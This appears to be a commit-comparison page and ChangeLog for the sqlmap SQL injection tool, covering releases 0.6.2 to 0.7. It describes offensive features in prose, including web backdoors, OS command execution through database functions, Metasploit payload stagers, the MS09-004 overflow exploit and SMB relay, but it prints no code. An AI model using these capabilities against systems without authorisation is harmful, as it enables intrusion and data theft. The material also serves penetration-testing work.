Compare commits

...

200 Commits
0.6.2 ... 0.7

Author SHA1 Message Date
Bernardo Damele
2c98c11e80 user's manual PDF recreated 2009-07-25 16:46:30 +00:00
Bernardo Damele
45e3ce798f Updated documentation with all new features introduced since sqlmap 0.7-rc1 2009-07-25 14:31:44 +00:00
Bernardo Damele
d905e5ef9f Minor bug fix to --os-cmd/--os-shell for Microsoft SQL Server 2009-07-25 11:45:23 +00:00
Bernardo Damele
576cc97742 Minor update to the user's manual, almost there to release 0.7 stable! 2009-07-25 00:25:59 +00:00
Bernardo Damele
b2b2ec8a26 Preparing to release sqlmap 0.7 stable 2009-07-24 23:20:57 +00:00
Bernardo Damele
3d4bfb3263 More appropriate warning message, got rid of a TODO 2009-07-24 23:20:22 +00:00
Bernardo Damele
b4fd71e8b9 Minor adjustment to reflect Metasploit r6849 (http://trac.metasploit.com/changeset/6849) and minor code refactoring. 2009-07-20 14:36:33 +00:00
Bernardo Damele
8096a37940 Major bug fix in --read-file option and minor code refactoring. 2009-07-09 11:50:15 +00:00
Bernardo Damele
cb3d2bac16 Minor improvement so that sqlmap tests also all parameters with no value (ig. par=). 2009-07-09 11:25:35 +00:00
Bernardo Damele
516fdb9356 Avoid to upload the web backdoor to unexisting empty-name directory 2009-07-09 11:11:25 +00:00
Bernardo Damele
24a3a23159 Minor bug fix to --dbms, updated user's manual 2009-07-09 11:05:24 +00:00
Bernardo Damele
4b622ed860 Minor bug fix.
Adapted Metasploit wrapping functions to work with latest msf3 development version too.
2009-07-06 14:40:33 +00:00
Bernardo Damele
0fc4587f02 Added support for reflective meterpreter by default when the target OS
is Windows and minor layout fix
2009-07-03 17:59:20 +00:00
Bernardo Damele
ba2e009fd9 Now it's fixed 2009-06-29 10:15:10 +00:00
Bernardo Damele
bc31bd1dd9 Minor bug fix 2009-06-29 10:13:39 +00:00
Bernardo Damele
fd7de4bbb8 Updated THANKS file 2009-06-24 13:57:50 +00:00
Bernardo Damele
3b9303186e Fixed minor bug with --eta 2009-06-24 13:44:14 +00:00
Bernardo Damele
e5a01d500e Minor bug fix in --update option, updated also Microsoft XML versions file 2009-06-16 15:12:02 +00:00
Bernardo Damele
32067cb676 Added ASPX shell and stager 2009-06-15 14:54:36 +00:00
Bernardo Damele
03a6739fbf Minor layout adjustments 2009-06-11 15:34:31 +00:00
Bernardo Damele
150abc0f1e sqlmap 0.7-rc3: Reset takeover OOB features (if any of --os-pwn, --os-smbrelay or --os-bof is selected) when running under Windows because msfconsole and msfcli are not supported on the native Windows Ruby interpreter. Correctly handle fcntl to be imported only on systems different from Windows. Minor code refactoring. 2009-06-11 15:01:48 +00:00
Bernardo Damele
3bca0d4b28 Minor improvement so that user's options can also be passed directly as a dictionary/advancedDict rather than only as an optparse instance. 2009-06-05 10:15:55 +00:00
Bernardo Damele
5ac2b0658c Fixed regular expression to parse burp log file hosts' scheme/port 2009-06-04 14:42:53 +00:00
Bernardo Damele
cfd8a83655 Minor adjustment to get also the port when parsing burp logs 2009-06-04 14:36:31 +00:00
Bernardo Damele
966f34f381 Minor parsing syntax adjustment due to sligh differences between Burp 1.2 lite and professional editions 2009-06-03 15:26:18 +00:00
Bernardo Damele
c7b72abc0e Minor bug fix in parsing Burp (WebScarab too?) log to correctly parse httpS urls 2009-06-03 15:04:40 +00:00
Bernardo Damele
02f6425db8 Work-around to avoid a TypeError traceback when reading a file content on MySQL/MSSQL 2009-06-02 14:24:48 +00:00
Bernardo Damele
93ee4a01e5 HTTPS requests over HTTP proxy now work on either Python 2.4, 2.5 and 2.6+ 2009-05-20 14:27:25 +00:00
Bernardo Damele
81d1a767ac Minor bug fix in output manager (dumper) object 2009-05-20 13:56:23 +00:00
Bernardo Damele
8e7282f7c7 Major bug fix to properly pass HTTPS request to HTTP proxy when its provided. It works with both Python 2.4 and Python 2.5 now. It still crashes at httplib level with Python 2.6. 2009-05-20 13:51:25 +00:00
Bernardo Damele
440a52b84d Major bug fix to sql-query/sql-shell functionalities 2009-05-20 10:19:19 +00:00
Bernardo Damele
37d3b3adda Updated THANKS 2009-05-20 09:58:22 +00:00
Bernardo Damele
13de8366d0 Major silent bug fix to multi-threading functionality. Thanks Nico Leidecker for reporting! 2009-05-20 09:34:13 +00:00
Bernardo Damele
f7ee4d578e Updated THANKS file 2009-05-19 15:56:30 +00:00
Bernardo Damele
ef3846e0de Minor fix in Host header value by Oliver Gruskovnjak 2009-05-19 14:40:04 +00:00
Bernardo Damele
45dff4a00a Added new function to search a file within the PATH environment variable paths:
it will be used when sqlmap will be packaged as DEB and RPM
2009-05-12 20:24:47 +00:00
Bernardo Damele
b463205544 Minor fixes for MacOSX 2009-05-12 20:24:00 +00:00
Bernardo Damele
06cc2a6d70 Minor bug fixes and code refactoring 2009-05-11 15:37:48 +00:00
Bernardo Damele
a727427299 Minor fix for Python <= 2.5.2 (os.path.normpath function) 2009-05-06 13:37:51 +00:00
Bernardo Damele
c5d20b8a86 Initial support for ASP web backdoor functionality 2009-05-06 12:14:38 +00:00
Bernardo Damele
f3e8d6db70 Fixed MySQL comment injection 2009-05-01 16:29:45 +00:00
Bernardo Damele
ccedadd780 Finished Mac OS X 2009-04-30 21:42:54 +00:00
Bernardo Damele
e8c115500d Now it works also on Mac OS X 2009-04-30 10:46:50 +00:00
Bernardo Damele
722ca8bf2f Minor "fix" 2009-04-29 19:45:12 +00:00
Bernardo Damele
57b8bb4c8e Minor syntax adjustment for web backdoor functionality 2009-04-28 21:51:22 +00:00
Bernardo Damele
58f3eee390 Updated Microsoft SQL Server XML signatures file and minor bug fix in connection library 2009-04-28 11:11:35 +00:00
Bernardo Damele
1d7de719b9 Almost done with web backdoor functionality 2009-04-28 11:05:07 +00:00
Bernardo Damele
16b4530bbe Minor bug fixes to --os-shell (altought web backdoor functionality still to be reviewed).
Minor common library code refactoring.
Code cleanup.
Set back the default User-Agent to sqlmap for comparison algorithm reasons.
Updated THANKS.
2009-04-27 23:05:11 +00:00
Bernardo Damele
5121a4dcba Send IE7.0 as default User-Agent 2009-04-24 20:13:21 +00:00
Bernardo Damele
406d5df195 Minor layout adjustments 2009-04-24 20:12:52 +00:00
Bernardo Damele
546a6c32e3 Avoid deprecation warning on sha and md5 libraries on Python >= 2.6 2009-04-24 20:10:30 +00:00
Bernardo Damele
6f4035938b Let the user choose also the local address in reverse OOB connection 2009-04-24 10:27:52 +00:00
Bernardo Damele
06e8546177 Finally fixed MSSQL 2000 fingerprint 2009-04-24 10:26:01 +00:00
Bernardo Damele
eeb34eb028 Again, minor fix to MSSQL 2000 fingerprint 2009-04-23 21:13:34 +00:00
Bernardo Damele
4ce74764b7 More verbose when reporting failure to create shellcode/payload stager (via Metasploit) 2009-04-23 20:39:32 +00:00
Bernardo Damele
aec2419410 Fixed character escaping in SQL shell/query functionalities. 2009-04-23 15:37:12 +00:00
Bernardo Damele
1af6898618 Fixed POST parsing when -l option is provided (burp/webscarab log file) 2009-04-23 15:04:28 +00:00
Bernardo Damele
69259c5984 Updated THANKS 2009-04-23 08:42:57 +00:00
Bernardo Damele
8e88b32274 Minor fix in MSSQL 2000 fingerprint 2009-04-23 08:36:39 +00:00
Bernardo Damele
aefa7ef988 Avoid libmagic traceback on Windows.
WARNING: this release is a candidate, it only works on Linux/Unices for the moment!
2009-04-22 12:44:16 +00:00
Bernardo Damele
8c0ac767f4 Updated to sqlmap 0.7 release candidate 1 2009-04-22 11:48:07 +00:00
Bernardo Damele
b997df740a Minor bug fix 2009-02-25 20:11:14 +00:00
Bernardo Damele
0c1a6b3edf Minor typo fix 2009-02-19 00:38:54 +00:00
Bernardo Damele
2efee058ea Major enhancement in comparison algorithm 2009-02-12 00:17:44 +00:00
Bernardo Damele
954417072b Updated Microsoft SQL Server XML versions file 2009-02-10 23:00:53 +00:00
Bernardo Damele
ba00a17205 Minor layout adjustment 2009-02-09 10:58:44 +00:00
Bernardo Damele
2355885712 Minor adjustment 2009-02-09 10:29:07 +00:00
Bernardo Damele
207e96e2b2 Major bug fix in the comparison algorithm to correctly handle also the
case that the url is stable and the False response changes the page
content very little.
2009-02-09 10:28:03 +00:00
Bernardo Damele
c405fb51ab PDF regenerated 2009-02-04 16:32:06 +00:00
Bernardo Damele
b12d955274 Updated packaging scripts, site and finalized the documentation to release version 0.6.4 2009-02-03 15:38:40 +00:00
Bernardo Damele
770e000cb4 Fixed another bug on Microsoft SQL Server custom "limited" query reported by Konrads Smelkovs 2009-02-02 23:44:19 +00:00
Bernardo Damele
9ab174a444 Almost ready with the user's manual for 0.6.4 release 2009-02-01 13:44:44 +00:00
Bernardo Damele
77d9d22ceb Minor update to the user's manual 2009-02-01 00:20:08 +00:00
Bernardo Damele
dded57f1cd Minor bug fix to correctly unpack user's custom queries on Microsoft SQL Server 2009-01-30 23:58:48 +00:00
Bernardo Damele
ad03684788 Added another PostgreSQL banner signature for Windows (it's specific
for PostgreSQL compiled by hand with MinGW/GCC or using the binary MSI
file of PostgreSQL version 8.2.x. PostgreSQL 8.3.x is compiled by
default using Visual C++)
2009-01-30 00:35:05 +00:00
Bernardo Damele
6054090191 sqlmap 0.6-rc5: major bug fix to make --sql-shell and --sql-query work properly also with mixed case statements (i.e oRDeR bY). Thanks Konrads Smelkovs to notifying. 2009-01-28 14:53:11 +00:00
Bernardo Damele
a8d57bb031 Avoid DeprecationWarning with Python 2.6+ 2009-01-22 23:53:01 +00:00
Bernardo Damele
193482a62b Updated user's manual 2009-01-22 23:44:44 +00:00
Bernardo Damele
981c7a4428 Updated Microsoft SQL Server XML signature db 2009-01-22 22:30:45 +00:00
Bernardo Damele
793c323b2a Major bug fixes 2009-01-22 22:28:27 +00:00
Bernardo Damele
d54a51a328 Updated the HTML manual for the MySQL UDF and consequently other files. Thanks Roland! 2009-01-22 21:28:56 +00:00
Bernardo Damele
69204afe1f Updated copyright 2009-01-22 00:41:57 +00:00
Bernardo Damele
9631dc115e Added PostgreSQL UDF to execute commands on the underlying system:
* sys_eval() to return the standard output
* sys_exec() to return the exit status

Inspired by lib_mysqludf_sys 0.0.3 (https://svn.sqlmap.org/sqlmap/trunk/sqlmap/extra/mysqludfsys/)
2009-01-22 00:35:17 +00:00
Bernardo Damele
ae0f1985f3 Updated also the patch file 2009-01-21 20:54:14 +00:00
Bernardo Damele
deeccf9b5e Updated tar.gz package 2009-01-21 00:53:10 +00:00
Bernardo Damele
1c5925ea2b Minor adjustments 2009-01-21 00:52:23 +00:00
Bernardo Damele
7adbf5892d Updated user's manual 2009-01-19 23:45:54 +00:00
Bernardo Damele
c25b49e80e Major bugfix to avoid "IFNULL and CAST" on CASE 2009-01-19 21:27:51 +00:00
Bernardo Damele
96db179ffe Minor adjustment 2009-01-19 21:26:02 +00:00
Bernardo Damele
f91843540f Major bug fix when the CU alias (current user) is given (with -U option)
together with --privileges or --password to work properly also on
MySQL >= 5.0.
2009-01-19 21:25:37 +00:00
Bernardo Damele
8f973ce574 Minor layout adjustments 2009-01-18 22:36:48 +00:00
Bernardo Damele
161590e121 Added MySQL UDF to execute commands on the underlying system:
* sys_eval() to return the standard output
* sys_exec() to return the exit status

It's a patched version of http://mysqludf.org/lib_mysqludf_sys/index.php
2009-01-17 00:13:16 +00:00
Bernardo Damele
6690b4c00a Added svn executable property 2009-01-17 00:05:47 +00:00
Bernardo Damele
bc3b4c6936 Minor layout adjustments in the user's manual 2009-01-13 23:16:34 +00:00
Bernardo Damele
fd7cb9101c Major bug fix to forge SQL injection payload on Oracle 2009-01-13 23:15:57 +00:00
Bernardo Damele
bc448211c5 Minor layout adjustment 2009-01-13 23:15:23 +00:00
Bernardo Damele
73e713c5ba Minor adjustments 2009-01-12 23:59:07 +00:00
Bernardo Damele
26cb082fc3 Added a README for dbgtool 2009-01-12 23:17:15 +00:00
Bernardo Damele
de393628d0 Added dbgtool to extras, a port in python of toolcrypt.org dbgtool. Inspired by sqlninja perl script makescr.pl. 2009-01-12 23:02:02 +00:00
Bernardo Damele
5560f0b68a Updated the copyright 2009-01-12 21:35:38 +00:00
Bernardo Damele
92645dd264 Minor adjustment 2009-01-10 14:51:12 +00:00
Bernardo Damele
9b0f11f879 Added an ASP uploader 2009-01-10 14:40:04 +00:00
Bernardo Damele
e10ab5aa0e Major bug fixes 2009-01-10 14:39:27 +00:00
Bernardo Damele
9c125a2b57 Minor improvement to use Python ConfigParser library when --save if specified.
Minor update to the user's manual
2009-01-03 22:59:22 +00:00
Bernardo Damele
6ff8feb5cf Updated documentation 2009-01-03 01:25:43 +00:00
Bernardo Damele
d0604ef513 Major bug fix to correctly handle custom SQL "limited" queries on Oracle 2009-01-03 01:19:04 +00:00
Bernardo Damele
2d87a3349f Fixed custom MSSQL "limited" query support also for Partial UNION query technique 2009-01-03 00:27:04 +00:00
Bernardo Damele
9c42a883be Major bug fix to make it work properly with MSSQL custom limited (SELECT
TOP ...) queries with both inferential blind and Full UNION query
injection
2009-01-02 23:26:45 +00:00
Bernardo Damele
2cc3bb2f6a Minor improvement to PostgreSQL signatures file to identify Windows.
Minor improvement to Microsoft SQL Server "limit" queries.
2009-01-02 23:23:55 +00:00
Bernardo Damele
9e0d890171 Fixed MySQL 5.1 extensive fingerprint 2009-01-02 23:21:31 +00:00
Bernardo Damele
c1010c20d8 Minor adjustments 2008-12-30 21:24:01 +00:00
Bernardo Damele
a4d62af2ea Minor layout adjustments to --union-tech 2008-12-29 18:48:23 +00:00
Bernardo Damele
9340bf59fb Updated Microsoft SQL Server signature XML file.
Minor layout adjustments to --update output messages/diff
2008-12-29 18:46:43 +00:00
Bernardo Damele
0e9873fd4f Preparing documentation for 0.6.4 2008-12-29 18:44:20 +00:00
Bernardo Damele
c83593c044 Limited custom query now works also on Oracle in inferential blind SQL
injection technique
2008-12-23 23:34:50 +00:00
Bernardo Damele
24ddbdc89d Minor layout adjustment 2008-12-22 23:34:22 +00:00
Bernardo Damele
b0ad102efb Better fingerprint technique for Microsoft SQL Server 2008-12-22 23:32:43 +00:00
Bernardo Damele
79c8d63b88 Major speed increase in DBMS basic fingerprint 2008-12-22 23:26:44 +00:00
Bernardo Damele
64bb57d786 Minor bug fix to make the Partial UNION query SQL injection technique
work properly also on Oracle and Microsoft SQL Server.
2008-12-22 22:48:44 +00:00
Bernardo Damele
1f7810e46a Major bug fix to make partial UNION query sql injection work properly
also on Microsoft SQL Server
2008-12-22 19:36:01 +00:00
Bernardo Damele
064029cb2d Addd one more MS Access signature 2008-12-22 19:35:13 +00:00
Bernardo Damele
04c187c66a Working on a bug (fix for Partial UNION query SQL injection technique
both Oracle and Microsoft SQL Server).
2008-12-22 00:51:09 +00:00
Bernardo Damele
2f406b3e56 Minor adjustments 2008-12-22 00:04:28 +00:00
Bernardo Damele
c05f600e90 Minor fix 2008-12-21 21:40:09 +00:00
Bernardo Damele
4ae464c80d Minor enhancement to support an option (--union-tech) to specify the
technique to use to detect the number of columns used in the web
application SELECT statement: NULL bruteforcing (default) or ORDER BY
clause.
2008-12-21 21:39:53 +00:00
Bernardo Damele
f92b76a8b0 Minor bug fix 2008-12-21 16:39:40 +00:00
Bernardo Damele
374b9ba878 Updated documentation based upon recent developments 2008-12-21 16:35:45 +00:00
Bernardo Damele
35708a0b97 Minor adjustment to UNION query SQL injection detection function.
Updated command line help message based upon recent developments.
Updated copyright note of lib/contrib/multipartpost.py.
2008-12-21 16:35:03 +00:00
Bernardo Damele
996a872e51 We are already on sqlmap 0.6.4 release candidate 1.. 2008-12-20 13:23:26 +00:00
Bernardo Damele
c18efe5084 Minor adjustments 2008-12-20 13:21:47 +00:00
Bernardo Damele
8d06975142 Major enhancement to make the comparison algorithm work properly also
on url not stables automatically by using the difflib SequenceMatcher
object: this changed a lot into the structure of the code, has to be
extensively beta-tested!
Please, do report bugs on sqlmap-users mailing list if you scout them.
Cheers,
Bernardo
2008-12-20 01:54:08 +00:00
Bernardo Damele
7e8ac16245 Added preventive check for stacked queries support when executing DDL,
DML & co. statements in SQL query and SQL shell. Minor improvements on    
this new feature.
Increased default connection timeout to 30 seconds (needed for vmware
machine not correctly synched).
2008-12-19 20:48:33 +00:00
Bernardo Damele
ad228e6947 Ahead with the improvements to the comparison algorithm.
Added support internally to forge CASE statements, used only by
--is-dba query at the moment.
Allow DDL, DML (INSERT, UPDATE, etc.) from user in SQL query and
SQL shell.
Minor code adjustments.
2008-12-19 20:09:46 +00:00
Bernardo Damele
68354be45a Ahead with enhancements on comparison algorithm: implemented content-length technique 2008-12-18 22:49:35 +00:00
Bernardo Damele
afbd66f6d9 Added some comments 2008-12-18 21:58:05 +00:00
Bernardo Damele
d0d6632c22 Initial support to automatically work around the dynamic page at each refresh
(Major refactor to the comparison algorithm (True/False response))
2008-12-18 20:48:23 +00:00
Bernardo Damele
3fe493b63d Minor enhancement to support an option (--is-dba) to show if the
current user is a database management system administrator.
2008-12-18 20:41:11 +00:00
Bernardo Damele
c32ef9d751 Major bug fix to avoid tracebacks when multiple targets are specified and one
of them is not reachable.
Minor bug fix to make the --postfix work even if --prefix is not provided.
2008-12-18 20:38:57 +00:00
Bernardo Damele
2efb3ae2ba Documentation updated, now ready for 0.6.3 release 2008-12-17 23:26:14 +00:00
Bernardo Damele
6dec56d616 Major bug fix 2008-12-17 21:35:04 +00:00
Bernardo Damele
bb9079aa9d Minor documentation adjustments 2008-12-17 20:58:19 +00:00
Bernardo Damele
94c79e3209 Updated documentation 2008-12-17 20:17:34 +00:00
Bernardo Damele
dda62ba463 Minor adjustments and bug fixes 2008-12-17 20:11:18 +00:00
Bernardo Damele
7b55840b35 cleanup configuration INI file 2008-12-17 00:22:27 +00:00
Bernardo Damele
ec11f502df Site and documentation updated, ready to release 0.6.3 in two days 2008-12-17 00:19:01 +00:00
Bernardo Damele
36d9ede001 Updated documentation, ready for sqlmap 0.6.3 release 2008-12-16 23:52:16 +00:00
Bernardo Damele
b7f2602b50 A bit more entropy in the sql injection detection 2008-12-16 23:51:56 +00:00
Bernardo Damele
2b0ec1868d Updated documentation 2008-12-16 21:31:15 +00:00
Bernardo Damele
4156181367 Minor fix 2008-12-16 21:31:01 +00:00
Bernardo Damele
05a8c8d3bf Added support to test for stacked queries support and improved check for time based blind sql injection.
Minor bug fix in --save option
2008-12-16 21:30:24 +00:00
Bernardo Damele
bf2a857b9a Minor adjustments and minor bug fixes. Documentation almost complete for sqlmap 0.6.3. 2008-12-12 19:06:31 +00:00
Bernardo Damele
072eb7154c Major enhancement to support Partial UNION query SQL injection technique too.
Minor code cleanup.
2008-12-10 17:23:07 +00:00
Bernardo Damele
9dbad512f1 sqlmap 0.6.3-rc4: minor enhancement to be able to specify extra HTTP headers
by providing option --headers. By default Accept, Accept-Language and
Accept-Charset headers are set.
Added support to get the injection payload prefix and postfix from user.
Minor bug fix to exclude image files when parsing (-l) proxies log files.
Minor code adjustments.
Updated documentation.
2008-12-08 21:24:24 +00:00
Bernardo Damele
15542d2772 Minor layout adjustment 2008-12-05 16:00:18 +00:00
Bernardo Damele
38c9627700 Minor enhancemet to support also --regexp, --excl-str and --excl-reg
options rather than only --string when comparing HTTP responses page
content
2008-12-05 15:34:13 +00:00
Bernardo Damele
78e8a83c11 Minor improvement to be able to provide CU as user value (-U) when enumerating
users privileges or users passwords.
2008-12-05 15:32:59 +00:00
Bernardo Damele
7f055924a7 sqlmap 0.6.3-rc4:
Minor enhancement to be able to specify the number of seconds before
timeout the connection, default is set to 10 seconds.
Minor improvement to retry the HTTP request up to three times in case
an exception is raised during the connection to the target url.
Minor bug fix to correctly catch connection exceptions and notify to
the user also if they occur within a thread.
Minor code restyling.
Updated documentation.
2008-12-04 17:40:03 +00:00
Bernardo Damele
0f07e33e1a Removed REVISION, makes no sense.
Import and use python psyco library to speed up if it's installed: it's optional.
2008-12-03 17:32:16 +00:00
Bernardo Damele
e3ddbe751f Minor code refactoring 2008-12-02 23:49:38 +00:00
Bernardo Damele
4cb161ce4f Minor signatures adjustments 2008-12-02 23:48:07 +00:00
Bernardo Damele
b700485a1b Minor adjustment, still to work on the cookie urlencoding/decoding 2008-12-02 21:57:12 +00:00
Bernardo Damele
578bcb9140 Initial support for partial UNION query sql injection 2008-12-02 21:56:23 +00:00
Bernardo Damele
f97585c593 Show also SVN revision in error message when a traceback raises.
Fix typo.
2008-12-01 23:49:14 +00:00
Bernardo Damele
e75487a26c Reverted last commit, cleaner this way 2008-12-01 23:33:15 +00:00
Bernardo Damele
e2a805ef6a Minor workaround because of latest bug fix 2008-12-01 23:32:14 +00:00
Bernardo Damele
a777f1ca35 Minor bug fix 2008-12-01 23:27:51 +00:00
Bernardo Damele
034a3f387a Minor improvement when testing for UNION query SQL injection to check only without comment and with DBMS specific comment (not anymore "random" unspecific comment characters) 2008-12-01 23:09:07 +00:00
Bernardo Damele
3cf1658532 Increased default output level from 0 to 1 2008-12-01 23:07:41 +00:00
Bernardo Damele
428612b431 Comment and layout adjustments 2008-12-01 23:04:01 +00:00
Bernardo Damele
beea58f2e9 Updated MySQL versions 2008-12-01 23:02:52 +00:00
Bernardo Damele
e967b13378 Minor adjustment to command line usage message 2008-11-27 23:06:02 +00:00
Bernardo Damele
6e548eb2ec Completed support to get the list of targets from WebScarab/Burp proxies
log file and updated the documentation
2008-11-27 22:33:33 +00:00
Bernardo Damele
785352d700 Minor adjustments to signatures 2008-11-27 22:31:43 +00:00
Bernardo Damele
dc1f2deb74 Minor bug fix to correctly enumerate columns on Microsoft SQL Server.
Minor adjustments to XML signatures.
Updated documentation.
2008-11-25 11:33:44 +00:00
Bernardo Damele
f2737ad0a3 Updated work on multiple targets support (works for WebScarab conversations/ folder, still to work out for Burp log file).
Major bug fix in the controller library.
2008-11-22 01:57:22 +00:00
Bernardo Damele
9be844cf3e Adapted the code to support a list of targets from a text file (Burp log file) or from a directory (WebScarab conversations folder) with command line option -l. 2008-11-20 17:56:09 +00:00
Bernardo Damele
80425c9ccd Minor adjustment to ETA feature 2008-11-20 11:13:04 +00:00
Bernardo Damele
8f74fe2ce9 Added new HTTP response headers on which fingerprint web app technology and web server OS.
Updated documentation.
2008-11-19 15:33:39 +00:00
Bernardo Damele
736b2e7323 Minor adjustments to the operating system fingerprint. 2008-11-19 00:36:44 +00:00
Bernardo Damele
727664aea7 Minor enhancement to fingerprint the web server operating system and
the web application technology by parsing also HTTP response Server
header.
Refactor libraries and plugins that parses XML to fingerprint and show
on standard output the information.
Updated changelog.
2008-11-18 17:42:46 +00:00
Bernardo Damele
7d0724843f Major enhancement to the engine to parse XML files and matches on DBMS banner
and HTTP response headers.
Initial web application technology fingerprint (for the moment based only on
X-Powered-By HTTP response header and not shown yet to the user).
Minor layout adjustments.
2008-11-17 17:41:02 +00:00
Bernardo Damele
66fb3c3033 Minor enhancement to show the DBMS operating system (if fingerprinted)
also when only -b option is provided since it's an information that
sqlmap get parsing the DBMS banner.
Got rid completely of useless passive fuzzing.
2008-11-17 11:22:03 +00:00
Bernardo Damele
7d7170fc97 Minor code adjustments 2008-11-17 00:13:49 +00:00
Bernardo Damele
654aecedfe Minor layout adjustments, minor fixes and updated changelog 2008-11-17 00:00:54 +00:00
Bernardo Damele
fa0507ab39 Minor enhancement to fingerprint the back-end DBMS operating system (type,
version, release, distribution, codename and service pack) by parsing the
DBMS banner value when both -f and -b are provided: adapted the code and
added XML files defining regular expressions for matching.

Example of the -f -b output now on MySQL 5.0.67 running on latest Ubuntu:
--8<--
back-end DBMS:	active fingerprint: MySQL >= 5.0.38 and < 5.1.2
                comment injection fingerprint: MySQL 5.0.67
                banner parsing fingerprint: MySQL 5.0.67
                html error message fingerprint: MySQL
back-end DBMS operating system: Linux Ubuntu 8.10 (Intrepid)
--8<--
2008-11-15 23:41:31 +00:00
Bernardo Damele
84cbc60659 Major bug fix to correctly handle httplib.BadStatusLine exception.
Minor improvement to set by default in all HTTP requests the standard HTTP headers (Accept, Accept-Encoding, etc.)
Updated user's manual.
2008-11-15 12:25:19 +00:00
Bernardo Damele
4bf1fcb8ec Minor layout adjustment 2008-11-15 01:10:29 +00:00
Bernardo Damele
0bd5b52d95 Minor fixes 2008-11-13 00:03:04 +00:00
Bernardo Damele
ecc4a98071 Properly moved and improved inject.goStacked() function and newly
implemented Time based blind SQL injection now is a single test file
within the lib/techniques/ folder.
Renamed lib/techniques/inference to lib/techniques/blind, it is more
approriate and adapted the rest of the libraries.
Updated ChangeLog file.
2008-11-12 23:44:09 +00:00
Bernardo Damele
9329f8c9c4 Minor enhancement to be able to enumerate table columns and dump table
entries also if the database name is not provided by using the current
database on MySQL and MSSQL, the 'public' scheme on PostgreSQL and the
'USERS' TABLESPACE_NAME on Oracle.
Minor bug fix so that when the user provide as SELECT statement to be
processed an asterisk, now it also work if in the FROM there is no
database name specified.
Minor layout adjustments.
2008-11-12 22:53:25 +00:00
Bernardo Damele
81ed7c2086 Initial implementation of support for stacked queries.
Added method to test for Time based blind SQL injection query stacking
on the affected parameter a SLEEP() or similar DBMS specific function.
Adapted libraries, plugins and XML with the above changes.
Minor layout adjustments.
2008-11-12 00:36:50 +00:00
Bernardo Damele
13f76cfe3b Adjusted unhandled exception error message 2008-11-11 14:08:40 +00:00
Bernardo Damele
e1385eb2bf Removed useless W3C reference for CSS/HTML validation 2008-11-09 19:00:54 +00:00
Bernardo Damele
0c5d3df546 sqlmap 0.6.3-rc1:
* Minor enhancement to be able to specify the number of seconds to wait between each HTTP request.
* Minor bug fix to handle session.error and session.timeout in HTTP requests.
* Updated documentation.
2008-11-09 16:57:47 +00:00
Bernardo Damele
544ced52b5 Name adjustment 2008-11-04 19:56:07 +00:00
Bernardo Damele
2a01de3f0b Minor bug fix to correctly dump table entries when the column is provided 2008-11-04 19:54:44 +00:00
Bernardo Damele
be599d5a33 Updated documentation and minor fix in update functionality 2008-11-04 16:33:13 +00:00
Bernardo Damele
359b28bbaf Updated documentation 2008-11-04 16:09:12 +00:00
Bernardo Damele
0f79ec0088 Minor bug fix in MySQL comment injection fingerprint technique 2008-11-04 16:05:43 +00:00
Bernardo Damele
278f0aad7c Documentation updated 2008-11-03 01:23:55 +00:00
149 changed files with 19717 additions and 4227 deletions

View File

@@ -1,7 +1,3 @@
Bernardo Damele A. G. (inquis) - project leader, core developer Bernardo Damele A. G. (inquis) - Lead developer
<bernardo.damele@gmail.com> <bernardo.damele@gmail.com>
PGP Key ID: 0x05F5A30F PGP Key ID: 0x05F5A30F
Daniele Bellucci (belch) - project founder, initial developer
<daniele.bellucci@gmail.com>
PGP Key ID: 0x9A0E8190

View File

@@ -1,3 +1,148 @@
sqlmap (0.7-1) stable; urgency=low
* Adapted Metasploit wrapping functions to work with latest 3.3
development version too.
* Adjusted code to make sqlmap 0.7 to work again on Mac OSX too.
* Reset takeover OOB features (if any of --os-pwn, --os-smbrelay or
--os-bof is selected) when running under Windows because msfconsole
and msfcli are not supported on the native Windows Ruby interpreter.
This make sqlmap 0.7 to work again on Windows too.
* Minor improvement so that sqlmap tests also all parameters with no
value (eg. par=).
* HTTPS requests over HTTP proxy now work on either Python 2.4, 2.5 and
2.6+.
* Major bug fix to sql-query/sql-shell features.
* Major bug fix in --read-file option.
* Major silent bug fix to multi-threading functionality.
* Fixed the web backdoor functionality (for MySQL) when (usually) stacked
queries are not supported and --os-shell is provided.
* Fixed MySQL 'comment injection' version fingerprint.
* Fixed basic Microsoft SQL Server 2000 fingerprint.
* Many minor bug fixes and code refactoring.
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Sat, 25 Jul 2009 10:00:00 +0000
sqlmap (0.7rc1-1) stable; urgency=low
* Added support to execute arbitrary commands on the database server
underlying operating system either returning the standard output or not
via UDF injection on MySQL and PostgreSQL and via xp_cmdshell() stored
procedure on Microsoft SQL Server;
* Added support for out-of-band connection between the attacker box and
the database server underlying operating system via stand-alone payload
stager created by Metasploit and supporting Meterpreter, shell and VNC
payloads for both Windows and Linux;
* Added support for out-of-band connection via Microsoft SQL Server 2000
and 2005 'sp_replwritetovarbin' stored procedure heap-based buffer
overflow (MS09-004) exploitation with multi-stage Metasploit payload
support;
* Added support for out-of-band connection via SMB reflection attack with
UNC path request from the database server to the attacker box by using
the Metasploit smb_relay exploit;
* Added support to read and write (upload) both text and binary files on
the database server underlying file system for MySQL, PostgreSQL and
Microsoft SQL Server;
* Added database process' user privilege escalation via Windows Access
Tokens kidnapping on MySQL and Microsoft SQL Server via either
Meterpreter's incognito extension or Churrasco stand-alone executable;
* Speed up the inference algorithm by providing the minimum required
charset for the query output;
* Major bug fix in the comparison algorithm to correctly handle also the
case that the url is stable and the False response changes the page
content very little;
* Many minor bug fixes, minor enhancements and layout adjustments.
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Wed, 22 Apr 2009 10:30:00 +0000
sqlmap (0.6.4-1) stable; urgency=low
* Major enhancement to make the comparison algorithm work properly also
on url not stables automatically by using the difflib Sequence Matcher
object;
* Major enhancement to support SQL data definition statements, SQL data
manipulation statements, etc from user in SQL query and SQL shell if
stacked queries are supported by the web application technology;
* Major speed increase in DBMS basic fingerprint;
* Minor enhancement to support an option (--is-dba) to show if the
current user is a database management system administrator;
* Minor enhancement to support an option (--union-tech) to specify the
technique to use to detect the number of columns used in the web
application SELECT statement: NULL bruteforcing (default) or ORDER BY
clause bruteforcing;
* Added internal support to forge CASE statements, used only by --is-dba
query at the moment;
* Minor layout adjustment to the --update output;
* Increased default timeout to 30 seconds;
* Major bug fix to correctly handle custom SQL "limited" queries on
Microsoft SQL Server and Oracle;
* Major bug fix to avoid tracebacks when multiple targets are specified
and one of them is not reachable;
* Minor bug fix to make the Partial UNION query SQL injection technique
work properly also on Oracle and Microsoft SQL Server;
* Minor bug fix to make the --postfix work even if --prefix is not
provided;
* Updated documentation.
